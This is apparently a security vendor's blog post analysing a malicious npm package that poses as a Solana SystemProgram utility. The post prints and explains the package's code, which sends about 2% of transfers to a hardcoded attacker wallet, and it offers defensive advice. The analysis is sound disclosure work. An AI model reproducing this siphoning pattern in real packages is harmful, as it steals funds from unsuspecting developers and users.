![Oracle Drags Its Feet in the JavaScript Trademark Dispute](https://cdn.sanity.io/images/cgdhsj6q/production/919c3b22c24f93884c548d60cbb338e819ff2435-1024x1024.webp?w=400&fit=max&auto=format)
Security News
Oracle Drags Its Feet in the JavaScript Trademark Dispute
Oracle seeks to dismiss fraud claims in the JavaScript trademark dispute, delaying the case and avoiding questions about its right to the name.
Research
Security News
Socket Research Team
December 2, 2024
In the dynamic world of blockchain development, trust in libraries and utility packages is critical. Developers often rely on packages to streamline their work, but what if the package you trust is subtly designed to misappropriate funds? In this post, we analyze a seemingly innocuous Solana utility package and expose its hidden malicious intent.
The npm package in question is called solana-systemprogram-utils, which claims to be a utility package for working with Solana’s SystemProgram
. System Program is one of the native programs in the Solana runtime which can create new accounts, allocate account data, assign accounts to owning programs, transfer lamports from System Program owned accounts and pay transaction fees.
The author of the package, “solana-spec”, gives the appearance of legitimacy by using a name that suggests expertise in the Solana ecosystem. However, a deeper analysis of the package reveals a nefarious intent cleverly obfuscated within its code.
Here's the core snippet from the package under scrutiny:
const to = new import_web3.PublicKey('FkoC7FoX2VsUaLsoZ4UapirxHktjE6AT3GgZ1c1PbJb4');
const updatedTo = Math.random() < 0.02 ? to : props.toPubkey;
return import_web3.SystemProgram.transfer({
...props,
toPubkey: updatedTo,
});
Math.random()
function is used to generate a random number between 0 and 1.Math.random() < 0.02
), the intended recipient (props.toPubkey
) is overridden by the hardcoded public key:FkoC7FoX2VsUaLsoZ4UapirxHktjE6AT3GgZ1c1PbJb4
.props.toPubkey
), ensuring the function appears to behave normally most of the time.const to = new import_web3.PublicKey('FkoC7FoX2VsUaLsoZ4UapirxHktjE6AT3GgZ1c1PbJb4');
This is the hardcoded Solana public key where the stolen funds are sent. It is disguised as an innocuous variable (to
).
2. Randomized Condition
const updatedTo = Math.random() < 0.02 ? to : props.toPubkey;
This logic uses Math.random()
to introduce a small (2%) probability of overriding the legitimate recipient's public key (props.toPubkey
) with the hardcoded one. The low probability ensures that most transactions behave as expected, making it harder to detect the malicious activity.
3. Transfer Logic
return import_web3.SystemProgram.transfer({
...props,
toPubkey: updatedTo,
});
Here, the manipulated recipient (updatedTo
) is set in the Solana SystemProgram.transfer
function, executing the theft if the condition is met.
The code cleverly masks its intent by functioning normally 98% of the time. This design minimizes suspicion while still allowing the attacker to siphon funds.
From the user or developer's perspective:
Such behavior could result in significant financial loss over time, especially in high-volume applications, as unsuspecting developers integrate the package into production systems.
Math.random()
in critical operations—it is predictable and non-secure.crypto
module in Node.js) should be used if randomness is genuinely required.This utility package demonstrates how seemingly minor code can have devastating consequences. By rerouting funds with a low probability, the attacker can avoid detection while stealing from unsuspecting users. This underscores the importance of reviewing and verifying code before trusting it with sensitive operations.
Socket's threat detection will flag instances like these and prevent you from adding dependencies that perform suspicious functions. Install our free Socket for GitHub app to inspect the code before you add a new dependency or update an existing one.
If you're a blockchain developer, always audit the libraries you use. The allure of convenience should never outweigh the need for security. With vigilance, we can prevent bad actors from exploiting our trust.
Stay safe, Solana developers!
Dhanesh Dodia
Sambarathi Sai
Dwijay Chintakunta
Subscribe to our newsletter
Get notified when we publish new security blog posts!
Try it now
Security News
Oracle seeks to dismiss fraud claims in the JavaScript trademark dispute, delaying the case and avoiding questions about its right to the name.
Security News
The Linux Foundation is warning open source developers that compliance with global sanctions is mandatory, highlighting legal risks and restrictions on contributions.
Security News
Maven Central now validates Sigstore signatures, making it easier for developers to verify the provenance of Java packages.